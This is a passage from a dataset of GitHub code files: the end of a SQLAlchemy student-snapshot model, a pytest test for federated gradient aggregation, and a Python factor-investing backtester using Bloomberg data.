ForeignKey(\"field.id\"))\n strongest_sub = relationship(\"Field\", foreign_keys=[strongest_sub_id])\n strongest_sub_avg = Column(Float)\n weakest_sub_id = Column(Integer, ForeignKey(\"field.id\"))\n weakest_sub = relationship(\"Field\", foreign_keys=[weakest_sub_id])\n weakest_sub_avg = Column(Float)\n\n def __init__(self, student_id, class_rank, hist_rank, strongest_sub, weakest_sub):\n self.student_id = student_id\n self.class_rank = class_rank\n self.hist_rank = hist_rank\n self.strongest_sub_id, self.strongest_sub_avg = strongest_sub\n self.weakest_sub_id, self.weakest_sub_avg = weakest_sub\n\n @classmethod\n def find_by_id(cls, session, student_id: int):\n query = session.query(cls).filter_by(student_id=student_id)\n return query.one()\n\n @property\n def serialize(self):\n \"\"\"\n needed to make StudentSnapshot objects JSON serializable\n \"\"\"\n return {\n \"student\": self.student.serialize,\n \"class_rank\": self.class_rank,\n \"hist_rank\": self.hist_rank,\n \"strongest_sub\": {\n \"field\": self.strongest_sub.serialize,\n \"avg\": self.strongest_sub_avg\n },\n \"weakest_sub\": {\n \"field\": self.weakest_sub.serialize,\n \"avg\": self.weakest_sub_avg\n }\n }\n","repo_name":"bybside/student-advisor","sub_path":"models/db/studentsnapshot.py","file_name":"studentsnapshot.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6697328787","text":"\n\n\n\nimport torch\nfrom dafl.utils import aggregate_gradients\n\n\nDIM = 10\n\nclass Model(torch.nn.Module):\n def __init__(self):\n super(Model, self).__init__()\n self.weight = torch.nn.parameter.Parameter(torch.randn(DIM))\n\n def forward(self):\n return self.weight\n\n\ndef test_aggregate_gradients_none():\n server = Model()\n clients = [Model(), Model()]\n aggregate_gradients(server, clients)\n\n for param in server.parameters():\n assert param.data.grad == None\n\n\ndef test_aggregate_gradients():\n server = Model()\n clients = [Model(), Model()]\n for client_model in clients:\n loss = 1/2 * torch.sum(client_model() ** 2)\n loss.backward()\n \n for param in client_model.parameters():\n assert param.grad is not None\n assert torch.all(torch.isclose(param.grad, param.data))\n\n\n aggregate_gradients(server, clients)\n\n for param in server.parameters():\n print(param.shape)\n expected_grad = sum([next(client_model.parameters()) for client_model in clients]) / 2\n assert torch.all(torch.isclose(param.grad, expected_grad))\n","repo_name":"LIONS-EPFL/Federated_Learning_Covariate_Shift_Code","sub_path":"tests/test_aggregate_gradients.py","file_name":"test_aggregate_gradients.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"36132885190","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Mar 12 14:59:08 2023\n\n@author: ali\n\"\"\"\nimport math\nimport blpapi\nfrom blpapi.exception import IndexOutOfRangeException\nfrom typing import Dict\nfrom dataclasses import dataclass\nimport datetime as dt\nfrom datetime import datetime, timedelta\nfrom enum import Enum\nimport numpy as np\nimport pandas as pd\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nfrom matplotlib.figure import Figure\nfrom scipy.optimize import minimize\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter import messagebox\nimport holidays\nfrom dateutil import rrule, relativedelta\nimport warnings\n\nwarnings.filterwarnings('ignore')\n\ndef get_business_days(start_date, end_date, country):\n \"\"\"\n This function returns a list of all working days (weekdays that are not public holidays)\n between two specified dates, for a given country.\n\n Args:\n start_date (datetime.date): The start date of the working day search period.\n end_date (datetime.date): The end date of the working day search period.\n country (str): The name of the country for which the list of working days is to be obtained.\n\n Returns:\n list: A list of datetime objects representing the working days between the start and end dates,\n excluding public holidays for the specified country.\n \"\"\"\n # Create a list of all holidays in the specified country\n holiday_list = holidays.CountryHoliday(country, years=[start_date.year, end_date.year]).keys()\n\n # Use rrule to create an iterator of all weekdays between start and end dates\n weekdays = rrule.rrule(rrule.DAILY, byweekday=range(0, 5), dtstart=start_date, until=end_date)\n\n # Use a list comprehension to create a list of business days by excluding any dates in the holiday list\n business_days = [d for d in weekdays if d.date() not in holiday_list]\n\n # Return the list of business days\n return business_days\n\nclass Quote:\n \"\"\"\n This class represents a quote from a financial asset at a given date.\n\n Attributes:\n date (datetime.datetime): The date and time of the quote.\n ticker (str): The ticker symbol of the financial asset.\n close (float): The closing price of the financial asset on the date of the quote.\n isinindex (bool): A Boolean indicator of whether the financial asset is a stock index (True) or an individual\n stock (False).\n size (float): The market cap of the financial asset, if available.\n value (float): The book value of the financial asset position, if available.\n momentum (float): The price change of the financial asset relative to a previous time period, if available.\n\n Methods:\n __init__(self, date, ticker, close, isinindex): Initializes a new instance of the Quote class with the\n specified values for the attributes date, ticker, close\n and isinindex.\n \"\"\"\n date : datetime = None\n ticker : str = None\n close : float = None\n isinindex : bool = None\n size : float = None\n value : float = None\n momentum : float = None\n \n def __init__(self, date, ticker, close, isinindex):\n self.date = date\n self.ticker = ticker\n self.close = close\n self.isinindex = isinindex\n\ndef is_nan(x):\n \"\"\"\n This function returns True if the supplied argument is a NaN (Not a Number) value, and False otherwise.\n\n Args:\n x (float or np.float64): The value to check.\n\n Returns:\n bool: True if the value is NaN, False otherwise.\n \"\"\"\n return isinstance(x, float) and (math.isnan(x) or np.isnan(x))\n \nclass QuotesSerie:\n \"\"\"\n This class represents a series of stock quotes.\n This is where the values of the quote object are retrieved.\n\n Attributes:\n -----------\n quote (Dict[datetime, Quote]): A dictionary containing quotes, indexed by their date.\n num_quote (int): The number of quotes in the series.\n\n Methods:\n --------\n __init__(self): Initializes a new instance of the QuoteSerie class with the specified values for the attributes\n date, ticker, close and isinindex.\n AddQuote(quote: Quote): Adds a quote to the series.\n DeleteQuote(date: datetime): Removes a quote from the series.\n returns -> Dict[datetime, float]: Calculates and returns the daily returns of the series as a dictionary.\n ComputeMomentum() -> Dict[datetime, float]: Calculates and returns the moments of the series as a dictionary.\n \"\"\"\n def __init__(self):\n self.quote = dict()\n self.num_quote: int = 0\n \n def AddQuote(self, quote: Quote):\n \"\"\"\n Adds a quote to the series.\n\n Args:\n quote (Quote): The quote to be added to the series.\n \"\"\"\n self.quote[quote.date] = quote\n self.num_quote += 1\n \n def DeleteQuote(self, date: datetime):\n \"\"\"\n Removes a quote from the series.\n\n Args:\n date (datetime): The date of the quote to be removed.\n \"\"\"\n del self.quote[date]\n self.num_quote -= 1\n \n @property\n def returns(self) -> Dict[datetime, float]:\n \"\"\"\n Calculates and returns the daily returns of the series as a dictionary.\n\n Returns:\n Dict[datetime, float]: A dictionary containing daily returns for each date in the series.\n \"\"\"\n returns_dict = {}\n prev_close = None\n for date in sorted(self.quote.keys()):\n quote = self.quote[date]\n if quote.ticker == \"STLAP FP\":\n pass\n if prev_close is not None:\n if not is_nan(quote.close):\n if prev_close != 0.0:\n returns_dict[date] = (quote.close - prev_close) / prev_close\n prev_close = quote.close\n else:\n returns_dict[date] = 0.0\n prev_close = quote.close\n quote.isinindex = False\n else:\n returns_dict[date] = 0.0\n quote.isinindex = False\n else:\n if not is_nan(quote.close):\n prev_close = quote.close\n else:\n prev_close = 0.0\n\n return returns_dict\n \n def ComputeMomentum(self) -> Dict[datetime, float]:\n \"\"\"\n Calculates and returns the momentum of the series as a dictionary.\n\n Returns:\n Dict[datetime, float]: A dictionary containing the momentum for each date in the series.\n \"\"\"\n list_dates = sorted(self.quote.keys())\n # The for loop starts from index 250 of the sorted list of dates in the series. For each date, we get the\n # indices corresponding to the dates 250 days and 20 days before this date by using the index method of the\n # list_dates list.\n for date in list_dates[250:]:\n index_date = list_dates.index(date)\n date_250 = list_dates[index_date - 250]\n date_20 = list_dates[index_date - 20]\n # If the closure of the date 20 days before the current date or the closure of the date 250 days before\n # the current date is NaN (Not a Number), the isinindex variable of the Quote object corresponding to the\n # current date is set to False.\n if self.quote[date_20].close == np.nan or self.quote[date_250].close == np.nan:\n self.quote[date].isinindex = False\n # Otherwise, the momentum variable of the Quote object corresponding to the current date is calculated\n # by dividing the close of the date 20 days before the current date by the close of the date 250 days\n # before the current date, then subtracting 1.\n else:\n self.quote[date].momentum = self.quote[date_20].close / self.quote[date_250].close - 1\n\nclass Universe:\n \"\"\"\n A class representing a universe of financial assets and their quotes.\n\n Attributes:\n -----------\n quoteseries: dict\n A dictionary of quotes series, with the ticker symbol as key and the quotes series as value.\n number_assets: int\n The number of assets in the universe.\n number_dates: int\n The number of dates in the universe.\n tickers: list\n A list of all the tickers in the universe.\n dates: list\n A list of all the dates in the universe after uniformizing dates.\n\n Methods:\n --------\n AddQuotesSerie(quote_serie: QuotesSerie)\n Adds a quotes series to the universe.\n DeleteQuotesSerie(ticker: str)\n Deletes a quotes series from the universe.\n UniformizeDates()\n Uniformizes dates of all the quotes series.\n \"\"\"\n\n def __init__(self):\n self.quoteseries = dict()\n self.number_assets: int = 0\n self.number_dates: int = 0\n self.tickers = list()\n self.dates = list()\n \n def AddQuotesSerie(self, quote_serie: QuotesSerie):\n \"\"\"\n Adds a series of quotes to the universe.\n\n Parameters:\n quote_serie (QuotesSerie): The series of quotes to add.\n\n Returns:\n None\n \"\"\"\n dates = sorted(quote_serie.quote.keys())\n date = dates[0]\n quote = quote_serie.quote[date]\n ticker = quote.ticker\n self.quoteseries[ticker] = quote_serie\n self.number_assets += 1\n self.tickers.append(ticker)\n \n def DeleteQuotesSerie(self, ticker: str):\n \"\"\"\n Removes a series of quotes from the universe.\n\n Parameters:\n ticker (str): The ticker of the quote series to be deleted.\n\n \"\"\"\n del self.quoteseries[ticker]\n self.number_assets -= 1\n self.tickers.remove(ticker)\n \n def UniformizeDates(self):\n \"\"\"\n Standardizes the dates of the quote series in the universe.\n This function ensures that all price series have the same dates by deleting missing dates or removing missing\n quotes from the quote series, then updates the universe dates variable and calculates the number of dates in\n the universe.\n\n Raises:\n Exception: If no dates are found in the universe.\n\n \"\"\"\n # First, we Create a date_counts dictionary to store the number of times each date appears in the price series.\n date_counts = dict()\n temp_dates = list()\n\n # Browse each date in each price series and increase the number of date_counts if it is already present,\n # or add a new entry to date_counts if the date is new.\n for ticker in self.quoteseries.keys():\n for date in self.quoteseries[ticker].quote.keys():\n if self.quoteseries[ticker].quote[date].date in date_counts.keys():\n date_counts[self.quoteseries[ticker].quote[date].date] += 1\n else:\n date_counts[self.quoteseries[ticker].quote[date].date] = 1\n # Delete dates that do not appear in all price series. If a date does not appear in all price series,\n # the corresponding quote is removed from the price series.\n for date in date_counts.keys():\n if date_counts[date] != self.number_assets:\n for ticker in self.quoteseries.keys():\n if date in self.quoteseries[ticker].quote.keys():\n self.quoteseries[ticker].DeleteQuote(date)\n else:\n temp_dates.append(date)\n \n self.dates = sorted(temp_dates)\n tickers = sorted(self.quoteseries.keys())\n firstquoteserie = self.quoteseries[tickers[0]]\n self.number_dates = firstquoteserie.num_quote\n \n if self.number_dates == 0:\n raise Exception()\n \ndef ReballancingFrequency(x: int, what: str) -> timedelta:\n \"\"\"\n Calculates the rebalancing frequency of a portfolio.\n\n Parameters:\n x (int): The number of time units.\n what (str): The unit of time. Can be \"day(s)\", \"week(s)\" or \"month(s)\".\n\n Raises:\n NotImplementedError: If the time unit is not supported.\n\n Returns:\n timedelta: The rebalancing frequency.\n \"\"\"\n if what.lower() == \"day\" or what.lower() == \"days\":\n return timedelta(days=x)\n\n if what.lower() == \"week\" or what.lower() == \"weeks\":\n return timedelta(weeks=x)\n\n if what.lower() == \"month\" or what.lower() == \"months\":\n return timedelta(days=x*30)\n\n else:\n raise NotImplementedError()\n\ndef keep_unique_values(list1, list2):\n \"\"\"\n This function returns two modified lists that no longer have any duplicates. This function will be useful\n if you don't want to have lists of tickers that you are going to short and lists of tickers that you are\n going to sell long with a common ticker.\n\n Args:\n list1: A list of values.\n list2: Another list of values.\n\n Returns:\n Two lists modified to contain only unique only the unique values.\n\n \"\"\"\n unique_values = set(list1 + list2)\n for value in unique_values:\n count1 = list1.count(value)\n count2 = list2.count(value)\n if count1 > count2:\n if count2 != 0:\n list2 = [x for x in list2 if x != value]\n while count1 > 1:\n list1.remove(value)\n count1 -= 1\n elif count2 > count1:\n if count1 != 0:\n list1 = [x for x in list1 if x != value]\n while count2 > 1:\n list2.remove(value)\n count2 -= 1\n else:\n list1 = [x for x in list1 if x != value]\n list2 = [x for x in list2 if x != value]\n return (list1, list2)\n\nclass Strategy(Enum):\n \"\"\"\n The Strategy class is an enumeration of different investment strategies that can be used to construct a portfolio.\n Each element of the enumeration represents a specific strategy and is associated with a string that serves as an\n identifier for that strategy.\n\n Four strategies are defined (one is the default).\n \"\"\"\n MINVAR = \"MinVar\"\n MAXSHARPE = \"MaxSharp\"\n EQWEIGHT = \"EqWeight\"\n NOTHING = \"Nothing\"\n \n@dataclass\nclass Portfolio:\n \"\"\"\n A class representing a portfolio.\n\n Attributes:\n -----------\n date: datetime\n The date of the portfolio.\n factor_weights: List[float]\n The factor weights of the portfolio.\n weights: List[float]\n The weights of the portfolio.\n value: float\n The value of the portfolio.\n \"\"\"\n date : datetime = None\n factor_weights : list() = None\n weights : list() = None\n value : float = None\n\nclass Factor:\n \"\"\"\n Class representing an investment factor.\n\n Attributes:\n ----------\n factor_name: str\n The name of the factor.\n long_tickers: dict\n A dictionary containing the tickers of the long assets associated with this factor.\n short_tickers : dict\n A dictionary containing the tickers of the short assets associated with this factor.\n returns : dict\n A dictionary containing the returns associated with each ticker.\n\n Methods:\n -------\n __init__(factor_name: str)\n Constructor of the class.\n \"\"\"\n def __init__(self, factor_name: str):\n self.factor_name : str = None\n self.long_tickers = dict()\n self.short_tickers = dict()\n self.returns = dict()\n\nclass Backtest:\n \"\"\"\n Class for performing a backtest of a given investment strategy on a given universe of assets with one\n or several factors.\n\n Args:\n universe (Universe): The universe of assets to be considered for the backtest.\n strategy (Strategy): The investment strategy to be tested. -->From the enum class.\n factors (list): List of factors to be considered in the backtest.\n reballancing_frequency: The frequency of portfolio reballancing.\n what: The unit of time. Can be \"day(s)\", \"week(s)\" or \"month(s)\". Using in Universe.ReballancingFrequency\n base (float): The starting base value of the portfolio.\n transaction_fee (float): The transaction fee to be applied to each trade.\n\n Attributes:\n strategy (Strategy): The investment strategy to be tested.\n factors (list): List of factors to be considered in the backtest.\n basis (float): The starting base value of the portfolio.\n transaction_fee (float): The transaction fee to be applied to each trade.\n universe (Universe): The universe of assets to be considered for the backtest.\n portfolio (dict): A dictionary containing the portfolio values at each rebalancing date.\n available_calendar (list): The calendar of available dates for the universe.\n factor_calendar (list): The calendar of dates for which factor values are available.\n calendar (list): The calendar of dates for which portfolio values are calculated.\n tickers (list): The list of tickers in the universe.\n universe_returns (dict): A dictionary containing the returns for each ticker in the universe.\n value (Factor): The factor representing value.\n size (Factor): The factor representing size.\n momentum (Factor): The factor representing momentum.\n ts_frequency (timedelta): The frequency of the time series.\n reballancing_frequency (RebalancingFrequency): The frequency of portfolio reballancing.\n reballancing_dates (list): The list of dates on which portfolio reballancing occurs.\n\n Methods:\n inindex(date): Returns a list of tickers that were in the index on the specified date.\n GetMomentum: Compute the momentum factor for each ticker in the universe at each factor calendar date.\n \"\"\"\n def __init__(self, universe: Universe, \n strategy: Strategy, \n factors: list(),\n reballancing_frequency, \n what,\n base: float = 100,\n transaction_fee: float = 0):\n self.strategy = strategy\n self.factors = factors\n self.basis = base\n self.transaction_fee = transaction_fee\n self.universe = universe\n self.portfolio = dict()\n self.available_calendar = self.universe.dates\n start: datetime = self.available_calendar[0]\n self.factor_calendar = [date for date in self.available_calendar if date >= datetime(start.year + 1, start.month, start.day, tzinfo=start.tzinfo)]\n self.calendar = [date for date in self.available_calendar if date >= datetime(start.year + 2, start.month, start.day, tzinfo=start.tzinfo)]\n self.tickers = self.universe.tickers\n self.universe_returns = dict()\n self.value = Factor(\"Value\")\n self.size = Factor(\"Size\")\n self.momentum = Factor(\"Momentum\")\n \n for ticker in self.tickers:\n self.universe_returns[ticker] = self.universe.quoteseries[ticker].returns\n \n if \"Momentum\" in self.factors:\n self.GetMomentum()\n \n if \"Size\" in self.factors:\n self.GetSize()\n \n if \"Value\" in self.factors:\n self.GetValue()\n \n self.ts_frequency: timedelta(days=1)\n self.reballancing_frequency = ReballancingFrequency(reballancing_frequency, what)\n self.reballancing_dates = list()\n self.Run()\n \n def inindex(self, date: datetime):\n \"\"\"\n The inindex method returns the list of tickers present in the index at a given date.\n\n Parameters:\n date: a datetime object representing the date for which we want to retrieve the tickers present in the index.\n Return:\n A list of strings representing the tickers present in the index at the given date.\n \"\"\"\n inindex = []\n for ticker in self.tickers:\n if self.universe.quoteseries[ticker].quote[date].isinindex:\n inindex.append(ticker)\n return inindex\n \n def GetMomentum(self):\n \"\"\"\n Compute the momentum factor for each ticker in the universe at each factor calendar date.\n Assign a short list and a long list of tickers based on the computed momentum factor.\n Compute the momentum factor returns at each factor calendar date for the short and long portfolios.\n\n Returns:\n This method does not return anything, it just modifies the attribute of the Backtest class.\n - self.momentum.long_tickers: a dictionary containing the 5 assets with the highest values for the factor, for each trading date\n - self.momentum.short_tickers: a dictionary containing the 5 assets with the lowest values for the factor, for each trading date\n - self.momentum.returns: a dictionary containing the return of the strategy for each trading date\n \"\"\"\n for ticker in self.tickers:\n self.universe.quoteseries[ticker].ComputeMomentum()\n \n for date in self.factor_calendar:\n \n dict_momentum = {}\n for ticker in self.inindex(date):\n dict_momentum[self.universe.quoteseries[ticker].quote[date].momentum] = ticker\n \n list_momentum = sorted(dict_momentum.keys())\n \n self.momentum.short_tickers[date] = [dict_momentum[i] for i in list_momentum[:5]]\n self.momentum.long_tickers[date] = [dict_momentum[i] for i in list_momentum[-5:]]\n \n self.momentum.returns[date] = 0.0\n \n for ticker in self.inindex(date):\n if ticker in self.momentum.long_tickers[date]:\n self.momentum.returns[date] += self.universe_returns[ticker][date] * 1/5\n if ticker in self.momentum.short_tickers[date]:\n self.momentum.returns[date] -= self.universe_returns[ticker][date] * 1/5\n \n def GetSize(self):\n \"\"\"\n Update the size of each stock in the universe at each date using the current market capitalization data\n retrieved from Bloomberg (thanks to BBG.fetch_series). Then, for each date in the factor_calendar,\n we calculate the 5 long and 5 short stocks with the largest and smallest size, respectively.\n Finally, compute the returns of each strategy based on the universe returns and the respective weights\n of each stock, which is equal to 1/5 for each stock.\n Returns:\n This method does not return anything, it just modifies the attribute of the Backtest class.\n - self.size.long_tickers: a dictionary containing the 5 assets with the highest values for the factor, for each trading date\n - self.size.short_tickers: a dictionary containing the 5 assets with the lowest values for the factor, for each trading date\n - self.size.returns: a dictionary containing the return of the strategy for each trading date\n \"\"\"\n # The objective of the GetSize function of the Backtest class is to retrieve the market capitalisation (size)\n # of the stocks in the portfolio over a given date range, so we use BBG.fetch_series. Before that, we add the\n # word equity after the ticker name to successfully retrieve them from Bloomberg.\n\n list_tickers = [ticker + \" Equity\" for ticker in self.tickers]\n df = BBG.fetch_series(list_tickers, \"CUR_MKT_CAP\", self.factor_calendar[0].strftime('%Y%m%d'), self.factor_calendar[-1].strftime('%Y%m%d'), period=\"DAILY\", calendar=\"ACTUAL\", fx=None,fperiod=None, verbose=False)\n\n df_nan = df.isna()\n # The dates and securities are scanned to determine which ones do not have a market capitalisation,\n # and these securities and the corresponding data are removed from the lists and associated dictionaries in\n # the Universe class and in the Backtest class.\n for date in df.index:\n if date in self.factor_calendar:\n not_in_df = []\n for ticker in df.columns:\n if df_nan.loc[date, ticker]:\n self.universe.quoteseries[ticker[:-7]].quote[date].isinindex = False\n not_in_df.append(ticker[:-7])\n if len(not_in_df) >= len(self.tickers) - 10:\n for ticker in self.tickers:\n self.universe.quoteseries[ticker].DeleteQuote(date)\n del self.universe_returns[ticker][date]\n self.factor_calendar.remove(date)\n try:\n self.calendar.remove(date)\n except:\n pass\n self.available_calendar.remove(date)\n self.universe.number_dates -= 1\n self.universe.dates.remove(date)\n del self.momentum.long_tickers[date]\n del self.momentum.short_tickers[date]\n else:\n df = df.drop(labels=date, axis=0)\n\n list_dates = list(df.index)\n\n for date in self.factor_calendar:\n if not date in list_dates:\n for ticker in self.tickers:\n self.universe.quoteseries[ticker].DeleteQuote(date)\n del self.universe_returns[ticker][date]\n try:\n self.available_calendar.remove(date)\n self.factor_calendar.remove(date)\n except:\n pass\n self.calendar.remove(date)\n self.universe.number_dates -= 1\n self.universe.dates.remove(date)\n del self.momentum.long_tickers[date]\n del self.momentum.short_tickers[date]\n \n for ticker in list_tickers:\n for date in list_dates:\n try:\n self.universe.quoteseries[ticker[:-7]].quote[date].size = df[ticker][date]\n except:\n self.universe.quoteseries[ticker[:-7]].quote[date].size = df[ticker][list_dates[list_dates.index(date)-1]]\n\n # Then, for each date in the factor_calendar,we calculate the 5 long and 5 short stocks with the largest and\n # smallest size,respectively.\n for date in self.factor_calendar:\n \n dict_size = {}\n for ticker in self.inindex(date):\n dict_size[self.universe.quoteseries[ticker].quote[date].size] = ticker\n \n list_size = sorted(dict_size.keys())\n# modif long_tickers\n self.size.long_tickers[date] = [dict_size[i] for i in list_size[:5]]\n self.size.short_tickers[date] = [dict_size[i] for i in list_size[-5:]]\n \n self.size.returns[date] = 0.0\n\n #We compute the returns of each strategy based on the universe returns and the respective weights\n # of each stock, which is equal to 1/5 for each stock.\n for ticker in self.inindex(date):\n if ticker in self.size.long_tickers[date]:\n self.size.returns[date] += self.universe_returns[ticker][date] * 1/5\n if ticker in self.size.short_tickers[date]:\n self.size.returns[date] -= self.universe_returns[ticker][date] * 1/5\n \n def GetValue(self):\n \"\"\"\n This GetValue function is a method of the Backtest class. This method retrieves the values of the stocks in the\n portfolio for each date and updates the lists of longs and shorts for each date in the factor calendar.\n\n Specifically, the method uses Bloomberg's fetch_series function to fetch the values of the stocks from the\n specified start date to the specified end date. It then processes the missing values in the data table and\n removes the missing values for all dates in the factor calendar.\n\n Finally, for each date in the factor calendar, the method sorts the stocks according to their value and assigns\n the first 5 stocks as shorts and the last 5 as longs. The weighted returns of each long and short are calculated\n and stored in the long_returns and short_returns lists.\n\n Returns:\n This method does not return anything, it just modifies the attribute of the Backtest class.\n - self.value.long_tickers: a dictionary containing the 5 assets with the highest values for the factor, for each trading date\n - self.value.short_tickers: a dictionary containing the 5 assets with the lowest values for the factor, for each trading date\n - self.value.returns: a dictionary containing the return of the strategy for each trading date\n \"\"\"\n\n\n list_tickers = [ticker + \" Equity\" for ticker in self.tickers]\n df = BBG.fetch_series(list_tickers, \"BOOK_VAL_PER_SH\", self.factor_calendar[0].strftime('%Y%m%d'), self.factor_calendar[-1].strftime('%Y%m%d'), period=\"DAILY\", calendar=\"ACTUAL\", fx=None,fperiod=None, verbose=False)\n\n df_nan = df.isna()\n for date in df.index:\n if date in self.factor_calendar:\n not_in_df = []\n for ticker in df.columns:\n if df_nan.loc[date, ticker]:\n self.universe.quoteseries[ticker[:-7]].quote[date].isinindex = False\n not_in_df.append(ticker[:-7])\n if len(not_in_df) >= len(self.tickers) - 10:\n for ticker in self.tickers:\n self.universe.quoteseries[ticker].DeleteQuote(date)\n del self.universe_returns[ticker][date]\n self.available_calendar.remove(date)\n self.factor_calendar.remove(date)\n try:\n self.calendar.remove(date)\n except:\n pass\n self.universe.number_dates -= 1\n self.universe.dates.remove(date)\n del self.momentum.long_tickers[date]\n del self.momentum.short_tickers[date]\n del self.size.long_tickers[date]\n del self.size.short_tickers[date]\n else:\n df = df.drop(labels = date, axis = 0)\n\n list_dates = list(df.index)\n\n for date in self.factor_calendar:\n if not date in list_dates:\n for ticker in self.tickers:\n self.universe.quoteseries[ticker].DeleteQuote(date)\n del self.universe_returns[ticker][date]\n try:\n self.available_calendar.remove(date)\n self.factor_calendar.remove(date)\n except:\n pass\n self.calendar.remove(date)\n self.universe.number_dates -= 1\n self.universe.dates.remove(date)\n del self.momentum.long_tickers[date]\n del self.momentum.short_tickers[date]\n \n for ticker in list_tickers:\n for date in list_dates:\n try:\n self.universe.quoteseries[ticker[:-7]].quote[date].value = df[ticker][date]\n except:\n self.universe.quoteseries[ticker[:-7]].quote[date].value = df[ticker][list_dates[list_dates.index(date) - 1]]\n \n for date in self.factor_calendar:\n \n dict_value = {}\n for ticker in self.inindex(date):\n dict_value[self.universe.quoteseries[ticker].quote[date].value] = ticker\n \n list_value = sorted(dict_value.keys())\n\n# modif\n self.value.long_tickers[date] = [dict_value[i] for i in list_value[:5]]\n self.value.short_tickers[date] = [dict_value[i] for i in list_value[-5:]]\n \n self.value.returns[date] = 0.0\n \n for ticker in self.inindex(date):\n if ticker in self.value.long_tickers[date]:\n self.value.returns[date] += self.universe_returns[ticker][date] * 1/5\n if ticker in self.value.short_tickers[date]:\n self.value.returns[date] -= self.universe_returns[ticker][date] * 1/5\n \n def Run(self):\n \"\"\"\n Runs the backtesting algorithm by rebalancing the portfolio and updating it on each trading day based on the\n reballancing frequency specified during initialization.\n\n \"\"\"\n # Rebalance portfolio with the specified strategy\n self.ReballancePortfolio(0, self.strategy)\n\n # Set initial reballancing date and time to wait for the next reballancing\n last_reballancing_date = self.calendar[0]\n time_to_wait = self.reballancing_frequency\n\n # Loop through all trading days in the calendar\n for i in range(1, len(self.calendar)):\n\n # Check if it's time to rebalance the portfolio\n time_since_reballancing = timedelta(days = (self.calendar[i] - last_reballancing_date).days)\n if time_since_reballancing >= time_to_wait:\n self.ReballancePortfolio(i, self.strategy)\n last_reballancing_date = self.calendar[i]\n # If it's not time to rebalance, update the portfolio\n else:\n self.UpdatePortfolio(i)\n \n def ReballancePortfolio(self, i: int, strategy: Strategy):\n \"\"\"\n Rebalances the portfolio on the specified trading day by computing the new weights for each asset in the universe\n based on the specified strategy, and then updating the portfolio accordingly. Also calculates the transaction volume\n and applies transaction fees.\n\n Parameters:\n i (int): index of the current trading day in the calendar\n strategy (Strategy): strategy used to compute new asset weights\n\n \"\"\"\n # Initialize variables for portfolio information\n portfolio_return = 0.0\n portfolio_value = 0.0\n transaction_volume = 0.0\n portfolio_weights = [0.0 for i in range(self.universe.number_assets)]\n\n # Get the date for the current trading day and add it to the reballancing dates list\n date = self.calendar[i]\n self.reballancing_dates.append(date)\n\n # Compute new asset weights using the specified strategy\n portfolio_new_weights, portfolio_factor_new_weights = self.ComputeWeights(date, strategy)\n\n # If it's not the first trading day, calculate the portfolio return and transaction volume\n if i > 0:\n for j in range(self.universe.number_assets):\n portfolio_weights[j] = (1 + self.universe_returns[self.tickers[j]][date]) * self.portfolio[self.calendar[i-1]].weights[j]\n portfolio_return += self.universe_returns[self.tickers[j]][date] * portfolio_weights[j]\n transaction_volume += abs(portfolio_weights[j] - portfolio_new_weights[j])\n portfolio_value = self.portfolio[self.calendar[i-1]].value * (1 + portfolio_return)\n\n # If it's the first trading day, calculate only the transaction volume\n else:\n for j in range(self.universe.number_assets):\n transaction_volume += abs(portfolio_weights[j] - portfolio_new_weights[j])\n portfolio_value = self.basis\n\n # Apply transaction fees and update the portfolio with the new information\n portfolio_value = portfolio_value * (1 - transaction_volume * self.transaction_fee)\n \n self.portfolio[date] = Portfolio(date, portfolio_factor_new_weights, portfolio_new_weights, portfolio_value)\n \n def UpdatePortfolio(self, i: int):\n \"\"\"\n\n Updates the portfolio on the specified trading day by recalculating the asset weights and factor weights based\n on the previous day's weights and returns.\n\n Parameters:\n i (int): index of the current trading day in the calendar\n\n \"\"\"\n # First, we initialize some variables such as portfolio_return, portfolio_value,\n # portfolio_weights, and portfolio_factor_weights.\n\n portfolio_return = 0.0\n portfolio_value = 0.0\n portfolio_weights = [0.0 for i in range(self.universe.number_assets)]\n portfolio_factor_weights = [0.0 for factor in self.factors]\n\n # Next, we retrieve the current date from the calendar list.\n date = self.calendar[i]\n\n # We calculate the portfolio_return for the current date based on the returns of the assets in the portfolio.\n # Then, for each asset in the portfolio, we calculate the portfolio_weights using the current weights and the\n # asset returns.\n for j in range(self.universe.number_assets):\n portfolio_return += self.universe_returns[self.tickers[j]][date] * self.portfolio[self.calendar[i-1]].weights[j]\n portfolio_weights[j] = (1 + self.universe_returns[self.tickers[j]][date]) * self.portfolio[self.calendar[i-1]].weights[j]\n\n # For each factor in the portfolio, we calculate the portfolio_factor_weights based on the factor\n # returns and the previous factor weights.\n sum_factor_weights = 0.0\n for j in range(len(self.factors)):\n if self.factors[j] == \"Momentum\":\n portfolio_factor_weights[j] = ((1 + self.momentum.returns[date]) * self.portfolio[self.calendar[i-1]].factor_weights[j] )\n sum_factor_weights += portfolio_factor_weights[j]\n elif self.factors[j] == \"Size\":\n portfolio_factor_weights[j] = ((1 + self.size.returns[date]) * self.portfolio[self.calendar[i-1]].factor_weights[j] )\n sum_factor_weights += portfolio_factor_weights[j]\n elif self.factors[j] == \"Value\":\n portfolio_factor_weights[j] = ((1 + self.value.returns[date]) * self.portfolio[self.calendar[i-1]].factor_weights[j] )\n sum_factor_weights += portfolio_factor_weights[j]\n \n for j in range(len(self.factors)):\n portfolio_factor_weights[j] = portfolio_factor_weights[j] / sum_factor_weights\n\n \n # After this, we update the portfolio_value by multiplying the previous portfolio value with the current\n # portfolio return.\n portfolio_value = self.portfolio[self.calendar[i-1]].value * (1 + portfolio_return)\n\n # Then, we adjust the portfolio_weights to make sure they sum to 1.\n for j in range(self.universe.number_assets):\n portfolio_weights[j] = portfolio_weights[j] / (1 + portfolio_return)\n\n # Finally, we create a new Portfolio object with the updated values for the current date, and we add it to\n # the portfolio dictionary\n self.portfolio[date] = Portfolio(date, portfolio_factor_weights, portfolio_weights, portfolio_value)\n\n def ComputeWeights(self, date: datetime, strategy_name: Strategy = Strategy.NOTHING) -> list():\n \"\"\"\n This function compute_weight takes in the date and strategy_name and returns a list of weights and factor\n weights based on the given strategy.\n \"\"\"\n # If the strategy is NOTHING, it will return the list of weights and factor weights with zeros for all tickers\n # and factors.\n if strategy_name == 